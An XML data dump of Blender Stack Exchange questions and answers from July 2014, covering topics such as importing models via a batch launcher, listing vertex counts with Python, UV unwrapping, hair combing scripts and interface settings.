  <row Id="13755" PostTypeId="2" ParentId="13752" CreationDate="2014-07-04T14:11:40.943" Score="6" Body="&lt;p&gt;How about making a .bat file which will open blender and load a python script, which will load your object? I've made a little proof of concept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the python script. Save it somewhere. It could be next to the .bat file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;import bpy&#xA;&#xA;pathToImport = sys.argv[-1]&#xA;&#xA;if pathToImport.endswith('fbx'):&#xA;    bpy.ops.import_scene.fbx(filepath=pathToImport)&#xA;elif pathToImport.endswith('dae'):&#xA;    bpy.ops.wm.collada_import(filePath=pathToImport)&#xA;elif pathToImport.endswith('obj'):&#xA;    bpy.ops.import_scene.obj(filepath=pathToImport)&#xA;else:&#xA;    print('Add the specific format?')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As the import operators are not all in the same place (as you can see for the fbx and the collada) I've done this if/elif statement where you can add other formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the .bat file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SET blender=&quot;C:\bin\blender-2.70-windows64\blender.exe&quot;&#xA;SET pythonOpenScript=&quot;R:\flavio\tmp\openAndImport.py&quot;&#xA;&#xA;%blender% -P %pythonOpenScript% -- %1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I set the paths to blender and to the python script here, easier to manage/change. The %1 at the end of the last line will be the fbx or collada file you want to open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To finish, right click on any fbx file / properties go to the 'open with' and change it targeting the .bat. That will open the default blender scene and import your object. Any other fbx file should do the same thing. Proceed in the same way for .obj and .dae files.&lt;/p&gt;&#xA;" OwnerUserId="4925" LastActivityDate="2014-07-04T14:11:40.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13756" PostTypeId="1" CreationDate="2014-07-04T14:53:09.167" Score="1" ViewCount="414" Body="&lt;p&gt;The displace modifier can be used to generate terrain from a heightmap. Is there a way to modify the mesh according to curvatures obtained from the heightmap?&lt;/p&gt;&#xA;" OwnerUserId="3258" LastEditorUserId="3258" LastEditDate="2014-07-04T17:43:44.317" LastActivityDate="2014-07-04T17:43:44.317" Title="Subdivide mesh through heightmap curvature when using the displace modifier" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13757" PostTypeId="1" AcceptedAnswerId="13758" CreationDate="2014-07-04T15:46:55.383" Score="13" ViewCount="13936" Body="&lt;p&gt;Is there a way to see a list of all objects in the scene with the number of verts, tris, faces of each object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you can click on a object and go into edit mode and it shows the numbers, but if you have many objects in a scene and you have to decrease the amount of verts in the scene this procedure gets tiresome. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A list with all objects of the scene and their counts where you can immediately see where you could possibly remove some verts would be very handy.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;------------------------------------------------------------&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit: If anyone is interested the user sambler and i (independently) both wrote an addon.&#xA;Look further down for his solution.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mine is downloadable here:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/30363&quot; rel=&quot;noreferrer&quot;&gt;pasteAll download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eskNi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The addon shows the geometry information of the scene.&#xA;It is sortable and you can select an object by clicking on the button.&lt;/p&gt;&#xA;" OwnerUserId="3177" LastEditorUserId="3401" LastEditDate="2014-07-13T04:03:33.500" LastActivityDate="2020-04-20T14:48:09.090" Title="List of objects in scene with counts (verts, faces, tris)?" Tags="&lt;interface&gt;&lt;add-on&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13758" PostTypeId="2" ParentId="13757" CreationDate="2014-07-04T16:01:48.373" Score="8" Body="&lt;p&gt;I miss the tris so far but you can do that :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;print(&quot;Object, Verts, faces, edges&quot;)&#xA;for element in bpy.context.scene.objects:&#xA;    if element.type != &quot;MESH&quot;: continue&#xA;    print(&quot;%s, %i, %i, %i&quot; % (element.data.name, len(element.data.vertices), len(element.data.polygons), len(element.data.edges)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will return in the console the informations you are looking for :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Object, Verts, faces, edges&#xA;Cone, 33, 33, 64&#xA;Cube, 8, 6, 12&#xA;Cube.001, 8, 6, 12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4925" LastEditorUserId="4925" LastEditDate="2014-07-07T08:09:24.923" LastActivityDate="2014-07-07T08:09:24.923" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13759" PostTypeId="2" ParentId="13747" CreationDate="2014-07-04T16:22:42.093" Score="1" Body="&lt;p&gt;You might try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.data.objects['Armature']&#xA;&#xA;#get pose_bone&#xA;pb = obj.pose.bones['Bone']&#xA;#add drivers&#xA;driver_loc = pb.driver_add('location')&#xA;driver_rot = pb.driver_add('rotation_quaternion')&#xA;&#xA;#search for a driver&#xA;for d in obj.animation_data.drivers:&#xA;    if d.data_path.startswith('pose.bones'):&#xA;        id = d.data_path.split('&quot;')[1]&#xA;        prop = d.data_path.rsplit('.', 1)[1]&#xA;        if id == pb.name and prop == 'location':&#xA;            break&#xA;else:&#xA;   d = None&#xA;&#xA;if d:&#xA;    #... settings&#xA;    d.driver.expression = your_expr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-07-04T16:43:21.497" LastActivityDate="2014-07-04T16:43:21.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13760" PostTypeId="1" CreationDate="2014-07-04T17:05:07.147" Score="3" ViewCount="869" Body="&lt;p&gt;When I create a NURBS Curve, It only shows on the Z Axis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0nj9s.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iT5xt.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to have it show on the X Axis?&lt;/p&gt;&#xA;" OwnerUserId="5077" LastEditorUserId="599" LastEditDate="2014-07-04T19:37:35.073" LastActivityDate="2014-09-02T21:10:38.287" Title="How to rotate a curve to show on a different axis?" Tags="&lt;bezier-curves&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13761" PostTypeId="1" CreationDate="2014-07-04T18:10:39.697" Score="2" ViewCount="340" Body="&lt;p&gt;I'm trying to write and addon that will display modifiers in a listbox, with the selected modifiers settings displayed below. But can't accomplish it because the template_list function requires an active index to reference the selection, which doesn't exist in the case of modifiers. here's an example comparing the list for vertex groups and the list for modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The modifier list throws an error because as far as I know, there is no &quot;active_index&quot; for modifiers - their just in a static state. How can I assign an index to reference the individual modifiers and select them from the listbox to operate on them, such as changing properties? Could I use a custom property or is there a better way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, there must be an index because the list box ordering updates according to the modifier stack - I just need to know how to access it if possible, and pass it to the list box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please be explicit because I'm no expert here, thanks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ob = bpy.context.object&#xA;&#xA;    row = layout.row()&#xA;    row.template_list(&quot;MESH_UL_vgroups&quot;, &quot;&quot;, ob, &quot;vertex_groups&quot;, ob.vertex_groups,&quot;active_index&quot;, rows=rows)&#xA;&#xA;    row = layout.row()&#xA;    row.template_list(&quot;UI_UL_list&quot;, &quot;list&quot;, ob, &quot;modifiers&quot;,ob.modifiers, &quot;active_index&quot;,rows=rows)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5079" LastEditorUserId="599" LastEditDate="2014-07-04T18:58:22.457" LastActivityDate="2014-07-04T19:00:10.627" Title="How to get/write an index for a modifier in a list box?" Tags="&lt;python&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13763" PostTypeId="2" ParentId="13761" CreationDate="2014-07-04T19:00:10.627" Score="2" Body="&lt;p&gt;You can create a simple &lt;code&gt;IntProperty()&lt;/code&gt; to be used as active index storage.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Object.modifier_active_index = bpy.props.IntProperty()&#xA;&#xA;# ...&#xA;&#xA;row.template_list(&quot;UI_UL_list&quot;, &quot;list&quot;, ob, &quot;modifiers&quot;, ob, &quot;modifier_active_index&quot;, rows=rows)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-07-04T19:00:10.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13764" PostTypeId="2" ParentId="13760" CreationDate="2014-07-04T19:11:23.300" Score="3" Body="&lt;h1&gt;Rotating&lt;/h1&gt;&#xA;&lt;p&gt;You can rotate objects with &lt;kbd&gt;R&lt;/kbd&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fMpOZ.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the above gif I pressed &lt;kbd&gt;R&lt;/kbd&gt; (rotate) &lt;kbd&gt;X&lt;/kbd&gt; (axis to rotate on) &lt;code&gt;90&lt;/code&gt; (degrees to rotate). I then did the same, pressing &lt;kbd&gt;Z&lt;/kbd&gt; instead of &lt;kbd&gt;X&lt;/kbd&gt; to rotate around the Z axis.&lt;/p&gt;&#xA;&lt;p&gt;There are several other ways to rotate objects, see &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transformations/Basics/Rotate&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki&lt;/a&gt; for more detail.&lt;/p&gt;&#xA;&lt;h1&gt;Align to view&lt;/h1&gt;&#xA;&lt;p&gt;Note that when you first add an object, there is an option to align it to the view:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0zDgh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-07-04T19:22:18.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13765" PostTypeId="2" ParentId="13740" CreationDate="2014-07-04T19:13:16.180" Score="1" Body="&lt;p&gt;There might be no low-level RNA method to create or make a meta strip, but you can still use the operator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.sequencer.meta_make()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure you select all relevant strips before you call it.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-07-04T19:13:16.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13766" PostTypeId="1" CreationDate="2014-07-04T20:23:08.783" Score="0" ViewCount="79" Body="&lt;p&gt;I am trying to create a an image of an object (say a cube) and its shadow, with any other pixel except for the object and shadow being transparent, in Blender 2.7. I need this since I will place the resulting images next to several others in Photoshop later, and also as standalones, in a scientific paper which requires that all images have a transparent background. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this question has been asked many times before, but all the answers I found are lacking, namely:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/5084/how-to-create-a-shadows-pass-in-cycles&quot;&gt;this question&lt;/a&gt; is similar, but the answer uses a &quot;shadow&quot; output of the layer which I couldn't find (I assume it doesn't exist in 2.7?). On the other hand, &lt;a href=&quot;http://youtu.be/k7gKzgvFiGM&quot; rel=&quot;nofollow noreferrer&quot;&gt;this video&lt;/a&gt; gives a nice solution in case you are trying to place your objects + shadows on top of an &lt;strong&gt;existing&lt;/strong&gt; image by multiplying outputs, but does not produce an image with a transparent background, and I don't see a way to modify it easily. &lt;/p&gt;&#xA;" OwnerUserId="5022" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2014-07-04T21:09:29.857" Title="Render only an object and its shadow in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="7" ClosedDate="2014-07-07T22:49:56.020" ContentLicense="CC BY-SA 3.0" />
  <row Id="13768" PostTypeId="1" CreationDate="2014-07-04T22:48:53.090" Score="1" ViewCount="634" Body="&lt;p&gt;I have my model made and seams marked but the mesh doesn't unpack well. I tried exporting and painting it in Photoshop anyway but doesn't apply like it should. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solid view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/20UdI.png&quot; alt=&quot;Solid View&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Textured View:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/meaPa.png&quot; alt=&quot;Textured View&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendered View:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1ACqW.png&quot; alt=&quot;Rendered View&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seams/Wireframe View:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jsHdM.png&quot; alt=&quot;Seams/Wireframe View&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5080" LastEditorUserId="599" LastEditDate="2014-07-12T00:36:03.740" LastActivityDate="2014-07-12T00:36:03.740" Title="Mesh not UV unwrapping well?" Tags="&lt;mesh&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13769" PostTypeId="2" ParentId="13588" CreationDate="2014-07-05T02:17:52.583" Score="1" Body="&lt;p&gt;I would use the Bsurfaces &lt;em&gt;Add Surface&lt;/em&gt; feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process is as follows.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add any object, enter edit mode and delete all the vertices.&lt;/li&gt;&#xA;&lt;li&gt;Place the &lt;em&gt;3D Cursor&lt;/em&gt; where you want the surface to start. Place the 3D cursor in a view that is 90° from the view you will be drawing the strokes in. (all following steps will be with the cursor placed from the top view and drawing a surface along the &lt;code&gt;Y&lt;/code&gt; axis)&lt;/li&gt;&#xA;&lt;li&gt;Go to the front view &lt;kbd&gt;NumPad 1&lt;/kbd&gt; hold &lt;kbd&gt;D&lt;/kbd&gt; and draw a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Sketching/Drawing&quot; rel=&quot;nofollow noreferrer&quot;&gt;grease pencil&lt;/a&gt; stroke at the height you want the surface to start at.&lt;/li&gt;&#xA;&lt;li&gt;Go back to the top view &lt;kbd&gt;NumPad 7&lt;/kbd&gt; and move the 3D Cursor down along the &lt;code&gt;Y&lt;/code&gt; axis.&lt;/li&gt;&#xA;&lt;li&gt;Back in the front view draw a grease pencil stroke lower then the first stroke. (&lt;strong&gt;important draw all the strokes in the same direction.&lt;/strong&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat steps 4 and 5, far as many steps you need for your surface. (at this point you could rotate the view to get an idea of what the surface will look like.) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;in the tools panel (&lt;kbd&gt;T&lt;/kbd&gt;) &lt;strong&gt;Tools &gt; Bsurfaces &gt; Add Surface&lt;/strong&gt;. That is about it, you can adjust the options to fine tune how many loops will be created.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6Ot8O.png&quot; alt=&quot;Bsurfaces&amp;#39; options&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note if you have a set vertex count you want to start from (bridge to and from) you can start by selecting the vertices, and then drawing the strokes. The selected row of vertices will be the starting point of the surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some great videos from the author of the addon on using Bsurfaces on &lt;a href=&quot;http://vimeo.com/user572057/videos&quot; rel=&quot;nofollow noreferrer&quot;&gt;vimeo&lt;/a&gt;.&lt;br&gt;&#xA;Also the &lt;a href=&quot;https://app.box.com/s/5ygw6vkzxkag9dh53uuv&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bsurfaces quick guide&lt;/a&gt; a pdf.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-07-05T02:17:52.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13770" PostTypeId="1" CreationDate="2014-07-05T03:09:30.933" Score="2" ViewCount="558" Body="&lt;p&gt;I just installed the latest version of Blender v2.72 because I wanted to play around with its cell fracture addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I go into user preferences and check the box to activate cell fracture. Save Preferences and exit the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I go into edit mode and select the cube in the scene and look for cell fracture on the left tool menu and it is not there. In all the tutorials/demos I have seen of this it has always just appeared in this menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a step I have missed?&lt;/p&gt;&#xA;" OwnerUserId="5081" LastEditorDisplayName="user12855" LastEditDate="2015-06-06T08:50:55.927" LastActivityDate="2017-02-05T05:44:10.483" Title="Cell Fracture not appearing when activated" Tags="&lt;interface&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13771" PostTypeId="1" CreationDate="2014-07-05T06:37:55.453" Score="0" ViewCount="84" Body="&lt;p&gt;Followed the Doc 2.4 wiki to make the tennis ball, &lt;img src=&quot;https://i.stack.imgur.com/NCysK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am stuck!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Blender 2.71 makes it so simple, appended the object from the .blend made with 2.49, (tried making it from scratch in 2.71 but couldn't find anything to change the cylinder into a sphere as in 2.49). Anyhoo, voila! &lt;img src=&quot;https://i.stack.imgur.com/teXNJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5083" LastEditorUserId="5083" LastEditDate="2014-07-05T08:44:00.683" LastActivityDate="2014-07-05T08:44:00.683" Title="Made Yin yang sphere from cylinder, how to add materials to the two regions separately" Tags="&lt;mesh&gt;&lt;materials&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2014-07-06T03:12:22.280" ContentLicense="CC BY-SA 3.0" />
  <row Id="13773" PostTypeId="2" ParentId="13746" CreationDate="2014-07-05T09:21:25.223" Score="6" Body="&lt;p&gt;The simplest way would be an OSL script. Drawback is no GPU suport.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;stdosl.h&quot;&#xA;&#xA;shader atan2(&#xA;    float X = 0.0,&#xA;    float Y = 0.0,&#xA;&#xA;    output float result = 0.0 )&#xA;{&#xA;    result = atan2(X,Y);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Paste that into a text block and select it in a script node.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-07-05T09:21:25.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13776" PostTypeId="1" AcceptedAnswerId="13777" CreationDate="2014-07-05T12:10:37.920" Score="1" ViewCount="536" Body="&lt;p&gt;How to unwrap a model with every polygon facing the view in the &quot;UV Image editor&quot; window? An alternative to this is to align every polygon one by one to the view in orthographic view and one by one to unwrap it with &quot;U|Project from view bounds&quot;. But instead of doing it one by one, is there a faster way?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastActivityDate="2014-07-06T13:19:24.417" Title="How to unwrap a model with every polygon facing the view?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13777" PostTypeId="2" ParentId="13776" CreationDate="2014-07-05T14:38:44.273" Score="3" Body="&lt;p&gt;You might get a similar effect by making all edges of the mesh 'Seams' and doing a normal unwrap.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enter Edit mode on selected mesh&lt;/li&gt;&#xA;&lt;li&gt;Select all edges&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; Mark Seam&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;U&lt;/kbd&gt; &gt; Unwrap&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/unDF1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Selected faces show that face shapes are preserved in UVs.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2014-07-06T13:19:24.417" LastActivityDate="2014-07-06T13:19:24.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13778" PostTypeId="1" AcceptedAnswerId="13780" CreationDate="2014-07-05T16:54:21.450" Score="8" ViewCount="23126" Body="&lt;p&gt;I have a straight line of vertices and I don't know how to make them be arranged in a circular shape such as the top part of a dome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody help me?&lt;/p&gt;&#xA;" OwnerUserId="4880" LastActivityDate="2014-07-05T18:27:33.937" Title="How can I make a line of vertices round?" Tags="&lt;vertices&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13779" PostTypeId="2" ParentId="9310" CreationDate="2014-07-05T16:58:01.927" Score="11" Body="&lt;p&gt;After learning my way through Blender and Cycles I devised my own method for achieving my desired results (kudos to Thom for providing the first answer which guided me early on):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the bulb is modeled properly, then there should be internal reflections but they will be very dim in a normal scene.  As rendered on a gray background they are barely visible (img A) but when rendered with enough passes on a black background with no other light sources (img B), they shine brilliantly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the compositor to combine a render of the bulb (img B) with a render of the rest of your scene (img C).  Use a mix node set to screen and it will enhance the reflections of your final render (img D).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/akclo.jpg&quot; alt=&quot;demonstration&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3292" LastActivityDate="2014-07-05T16:58:01.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13780" PostTypeId="2" ParentId="13778" CreationDate="2014-07-05T18:27:33.937" Score="16" Body="&lt;p&gt;If you don't mind not using the original vertices, I would add a circle (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt;Add circle&lt;/em&gt;) in &lt;em&gt;edit mode&lt;/em&gt;, so that it's added straight into the current object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to keep the existing verts, you could try using the &lt;em&gt;To sphere&lt;/em&gt; operator (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;), or the &lt;em&gt;circle&lt;/em&gt; operator in the bundled loop tools addon (you will have to enable in &lt;em&gt;User prefs &gt; Addons&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HiovG.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the above example I first rotated one of the end verts with proportional editing enabled (&lt;kbd&gt;O&lt;/kbd&gt;), to give it a semi-circular shape. This makes it easier for the &lt;em&gt;circle&lt;/em&gt; operator&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-05T18:27:33.937" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13781" PostTypeId="1" AcceptedAnswerId="13788" CreationDate="2014-07-05T18:29:34.353" Score="2" ViewCount="791" Body="&lt;p&gt;I am on the very beginning of creating a game. As a GE BGE was chosen. At the moment a problem popped out: I want to use real-time shadows and when I set Shading to GLSL in the Render options I get just absolutely white objects. No changes to materials take effect, no shadows are visible. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: I found out that it works properly in the standalone player. Can I make it work in embedded player as well?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TkXn5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="717" LastEditorUserId="2217" LastEditDate="2014-07-05T20:34:01.807" LastActivityDate="2014-07-05T21:24:28.903" Title="BGE GLSL materials in embedded player" Tags="&lt;materials&gt;&lt;game-engine&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13782" PostTypeId="2" ParentId="13736" CreationDate="2014-07-05T18:34:06.027" Score="5" Body="&lt;p&gt;The python API for combing hair is not very complete.  You can adjust the control points for individual hairs using code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def comb1(obj):&#xA;    ps = obj.particle_systems[0]&#xA;    dx =10&#xA;    dy = 10&#xA;    for i in range(dx):&#xA;        for j in range(dy):&#xA;            idx = i*10+j&#xA;            particle = ps.particles[idx]&#xA;            dz = len(particle.hair_keys)&#xA;            for k in range(dz): &#xA;                x =  k*0.1*i&#xA;                r = math.pi*dy/(1+j+1)&#xA;                theta = k /r&#xA;                y =  (1-math.cos(theta))*r&#xA;                z = math.sin(theta)*r&#xA;                particle.hair_keys[k].co_local = (x,y,z)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is an intermediate result from &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/comb.html&quot; rel=&quot;noreferrer&quot;&gt;my research&lt;/a&gt;.  It successfully sets the control points for the parent hairs.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It does not update the UI.  You have to toggle between Particle Edit and Object modes for the UI to refresh.&lt;/li&gt;&#xA;&lt;li&gt;You can not &lt;em&gt;really&lt;/em&gt; adjust the position of the root using python.  While there is a &quot;location&quot; property on the python particle object, it is just a computed value.  The &lt;em&gt;real&lt;/em&gt; value is a &lt;a href=&quot;http://www.geometry.caltech.edu/pubs/MHBD02.pdf&quot; rel=&quot;noreferrer&quot;&gt;barycentric coordinate&lt;/a&gt; &quot;fuv&quot; for the face indexed by &quot;num&quot;, and both are only accessible from C (or a version of blender with hacked dna).  Using &quot;displaced&quot; values in co_local works for the parent hairs, but child hairs will not be interpolated correctly.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As of blender 2.71 the python API for editing particle systems has some shortcomings.  A chat with some folks in #blendercoders came up with a reference to some past work on &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?318831-Point-Cache-Doctor-script&quot; rel=&quot;noreferrer&quot;&gt;editing the point cache&lt;/a&gt;, although the previous work was with the cloth sim and significant work would have to be done to adapt it for the particle cache (and it requires that you enable Hair Dynamics).&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2014-07-07T21:02:49.717" LastActivityDate="2014-07-07T21:02:49.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13783" PostTypeId="1" CreationDate="2014-07-05T18:43:25.637" Score="0" ViewCount="1148" Body="&lt;p&gt;Can the program default colors be changed, that is the grey menu and screen itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply cannot see properly with the dull grey colors.&lt;/p&gt;&#xA;" OwnerUserId="5088" LastEditorUserId="2217" LastEditDate="2014-07-05T20:42:58.413" LastActivityDate="2014-07-06T01:36:30.357" Title="Change Screen Colors" Tags="&lt;interface&gt;&lt;customization&gt;&lt;theme&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-07-06T07:12:52.870" ContentLicense="CC BY-SA 3.0" />
